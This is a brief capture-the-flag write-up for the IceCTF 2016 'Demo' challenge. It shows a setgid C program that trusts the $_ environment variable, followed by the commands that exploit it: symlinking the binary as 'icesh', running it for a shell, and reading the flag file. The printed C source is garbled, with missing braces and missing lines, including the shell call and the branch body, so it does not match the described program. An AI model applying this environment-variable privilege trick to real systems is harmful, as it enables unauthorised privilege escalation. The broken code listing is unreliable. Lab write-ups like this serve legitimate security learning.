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IceCTF 2016 Demo writeup [pwn] [55pts]

·1 min

I did not see any writeup that use symlink to solve this, so I wrote one.

The code #

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <libgen.h>
#include <string.h>
void give_shell() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
int main(int argc, char *argv[]) {
    if(strncmp(basename(getenv("_")), "icesh", 6) == 0){
    else {
        printf("I'm sorry, your free trial has ended.\n");
    return 0;
[ctf-35729@icectf-shell-2016 ~]$ /home/demo/demo
I'm sorry, your free trial has ended.

Solution #

[ctf-35729@icectf-shell-2016 ~]$ ln -s /home/demo/demo icesh
[ctf-35729@icectf-shell-2016 ~]$ ./icesh
$ cat /home/demo/flag.txt

Yeah, just create a symlink because $_ in script or program will always return the executable name (correct me if I’m wrong)